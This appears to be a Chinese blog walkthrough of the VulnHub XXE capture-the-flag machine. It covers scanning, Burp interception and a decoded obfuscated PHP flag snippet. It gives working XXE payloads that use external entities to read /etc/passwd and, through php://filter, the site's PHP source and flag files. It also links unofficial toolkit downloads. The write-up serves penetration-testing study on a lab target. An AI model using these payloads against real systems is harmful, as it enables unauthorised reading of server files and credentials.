vulnhub-XXE漏洞靶机流程(图文+工具包)
靶机下载链接http://download.vulnhub.com/xxe/XXE.zipwin下全套工具包链接:https://pan.baidu.com/s/1joOWbE6823GuFyBm92sR0A提取码:r0xn一、首先打开靶机靶机是不给你账号密码的,为了防止你直接混入系统查找flag,通常密码都会先设置的非常复杂,不要想着破解了。二、打开nmap对内网进行一次扫描找到靶机在虚拟机里找
靶机下载链接
http://download.vulnhub.com/xxe/XXE.zip
win下全套工具包
链接:https://pan.baidu.com/s/1joOWbE6823GuFyBm92sR0A
提取码:r0xn
一、首先打开靶机
靶机是不给你账号密码的,为了防止你直接混入系统查找flag,通常密码都会先设置的非常复杂,不要想着破解了。
二、打开nmap对内网进行一次扫描找到靶机
在虚拟机里找到你的内网ip池以及掩码
填入nmap,配置选择Quick scan 简单扫描,就可以得到内网主机ip
(虚拟机-》右上角 编辑-》网络编辑器-》net 就可以看到虚拟机的ip池了)
点击服务,我们可以看到多出来一个http服务,应该就是xxe靶机
咱们使用火狐渗透版打开这个端口
链接:https://pan.baidu.com/s/1uargsu2YIESyVdiI6hXVYA
提取码:mvwm
发现只是一个默认界面,接下来老规矩先扫描一下网站
3、web目录扫描
这里咱们使用御剑进行扫描,因为apache一般都是php,咱们这里只保留php就行了,开始扫描
咱们这里只得到一个robots.txt,这是一个爬虫访问路径,里面有可能泄露服务器文件信息,咱们打开看看
发现一个xxe路径和admin.php文件
打开xxe
四、抓包分析
打开浏览器代理
打开我们的老朋友Burpsuite抓包
请按顺序打开,即可进入
(1)进入Burpsuite抓包
(Burpsuite字符偏移修正请参考
点击进入 Proxy->Options对监听端口设置
将之与火狐浏览器统一
接下来回到Proxy->Intercept打开抓包(Intercept is on 蓝色处于开启状态)
(2) 打开火狐浏览器进行登录
点击登陆后Burpsuite自动跳出,到抓包界面
(3)打开 Burpsuite的Repeater模式
进入Repeater
(4)分析数据包
因为这个靶机考验的是xxe漏洞,所以我们将目光放到xml部分
(XXE漏洞:https://blog.csdn.net/qq_45514735/article/details/123292059)
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>
admin
</name>
<password>
admin
</password>
</root>
这里我们可以看到root标签中是我们登录时输入的账号密码
尝试进行DTD实体包含,将xml部分进行构造
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///etc/passwd">
]>
<root><name>&sp;</name><password>hj</password></root>
模拟发送
可以看到网页成功包含文件内容返回,在这里就算是成功找到漏洞了
接下来如何利用漏洞呢?
五、漏洞利用
上面我们讲到利用xxe漏洞进行文件包含,但是在实战情况下我们没办法得到网站的根目录路径,所以我们接下来将用
php://filter/read
使用相对路径获取网站文件源码
构造xml,注意,在之前的爬虫文件中有一个admin.php的管理员登陆界面,我们读取他试试
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>
这里是用base64获取的源码(官方的操作,想细究的话去vulnhub找)
复制出密文,打开工具包中的超级加解密工具
将解码后的php源码粘贴到notepad++里面去,我们仔细看看
在第80-83行存在了一个账号判断,但是密码进行了md5加密,这里我们要对MD5进行个解密
账号为:administhebest
密码为:admin@123
我们试着登录admin.php看看(关掉bp抓包别忘了)
登陆上去了,但是没什么用,我们再看一下源码
第88行有一个flag的文件,我们直接爆源码
更改xml
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
]>
<root><name>&sp;</name><password>hj</password></root>
源码:
PD9waHAKJGZsYWcgPSAiPCEtLSB0aGUgZmxhZyBpbiAoSlFaRk1NQ1pQRTRIS1dUTlBCVUZVNkpWTzVRVVFRSjUpIC0tPiI7CmVjaG8gJGZsYWc7Cj8+Cg==
解码后仍然是密文
JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5
经过多次尝试
这段密文需要
base32解密--》 base64解密
Base32编码解码,Base32在线转换工具 - 千千秀字
得到一个文件路径
/etc/.flag.php
老方法xml读取
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&sp;</name><password>hj</password></root>
得到密文
JF9bXSsrOyRfW109JF8uXzskX19fX189JF9bKCsrJF9fW10pXVsoKyskX19bXSkrKCsrJF9fW10pKygrKyRfX1tdKV07JF89JF9bJF9bK19dXTskX19fPSRfXz0kX1srKyRfX1tdXTskX19fXz0kXz0kX1srX107JF8rKzskXysrOyRfKys7JF89JF9fX18uKyskX19fLiRfX18uKyskXy4kX18uKyskX19fOyRfXz0kXzskXz0kX19fX187JF8rKzskXysrOyRfKys7JF8rKzskXysrOyRfKys7JF8rKzskXysrOyRfKys7JF8rKzskX19fPStfOyRfX18uPSRfXzskX19fPSsrJF9eJF9fX1srX107JMOAPStfOyTDgT0kw4I9JMODPSTDhD0kw4Y9JMOIPSTDiT0kw4o9JMOLPSsrJMOBW107JMOCKys7JMODKys7JMODKys7JMOEKys7JMOEKys7JMOEKys7JMOGKys7JMOGKys7JMOGKys7JMOGKys7JMOIKys7JMOIKys7JMOIKys7JMOIKys7JMOIKys7JMOJKys7JMOJKys7JMOJKys7JMOJKys7JMOJKys7JMOJKys7JMOKKys7JMOKKys7JMOKKys7JMOKKys7JMOKKys7JMOKKys7JMOKKys7JMOLKys7JMOLKys7JMOLKys7JMOLKys7JMOLKys7JMOLKys7JMOLKys7JF9fKCckXz0iJy4kX19fLiTDgS4kw4IuJMODLiRfX18uJMOBLiTDgC4kw4EuJF9fXy4kw4EuJMOALiTDiC4kX19fLiTDgS4kw4AuJMODLiRfX18uJMOBLiTDgi4kw4MuJF9fXy4kw4EuJMOCLiTDgC4kX19fLiTDgS4kw4kuJMODLiRfX18uJMOBLiTDiS4kw4AuJF9fXy4kw4EuJMOJLiTDgC4kX19fLiTDgS4kw4QuJMOGLiRfX18uJMOBLiTDgy4kw4kuJF9fXy4kw4EuJMOGLiTDgS4kX19fLiTDgS4kw4guJMODLiRfX18uJMOBLiTDgy4kw4kuJF9fXy4kw4EuJMOILiTDgy4kX19fLiTDgS4kw4YuJMOJLiRfX18uJMOBLiTDgy4kw4kuJF9fXy4kw4EuJMOELiTDhi4kX19fLiTDgS4kw4QuJMOBLiRfX18uJMOBLiTDiC4kw4MuJF9fXy4kw4EuJMOJLiTDgS4kX19fLiTDgS4kw4kuJMOGLiciJyk7JF9fKCRfKTsK
解码后得到的是一段php代码
$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$脌=+_;$脕=$脗=$脙=$脛=$脝=$脠=$脡=$脢=$脣=++$脕[];$脗++;$脙++;$脙++;$脛++;$脛++;$脛++;$脝++;$脝++;$脝++;$脝++;$脠++;$脠++;$脠++;$脠++;$脠++;$脡++;$脡++;$脡++;$脡++;$脡++;$脡++;$脢++;$脢++;$脢++;$脢++;$脢++;$脢++;$脢++;$脣++;$脣++;$脣++;$脣++;$脣++;$脣++;$脣++;$__('$_="'.$___.$脕.$脗.$脙.$___.$脕.$脌.$脕.$___.$脕.$脌.$脠.$___.$脕.$脌.$脙.$___.$脕.$脗.$脙.$___.$脕.$脗.$脌.$___.$脕.$脡.$脙.$___.$脕.$脡.$脌.$___.$脕.$脡.$脌.$___.$脕.$脛.$脝.$___.$脕.$脙.$脡.$___.$脕.$脝.$脕.$___.$脕.$脠.$脙.$___.$脕.$脙.$脡.$___.$脕.$脠.$脙.$___.$脕.$脝.$脡.$___.$脕.$脙.$脡.$___.$脕.$脛.$脝.$___.$脕.$脛.$脕.$___.$脕.$脠.$脙.$___.$脕.$脡.$脕.$___.$脕.$脡.$脝.'"');$__($_);
我们找个在线运行的网站试试
运行失败了?
别急,这可是见鬼的ctf,我们仔细看一下报错
PHP Notice: Undefined variable: _ in /usercode/file.php on line 2
PHP Notice: Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice: Array to string conversion in /usercode/file.php on line 2
PHP Notice: Undefined variable: __ in /usercode/file.php on line 2
PHP Notice: Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice: Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice: Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice: Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice: Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice: Undefined variable: 脕 in /usercode/file.php on line 2
PHP Parse error: syntax error, unexpected '{' in /usercode/file.php(2) : assert code on line 1
PHP Catchable fatal error: assert(): Failure evaluating code:
SAFCSP{xxe_is_so_easy} in /usercode/file.php on line 2
我们发现,最后一行。。。。。。
SAFCSP{xxe_is_so_easy}
flag找到了,见鬼的ctf脑筋急转弯。
更多推荐
所有评论(0)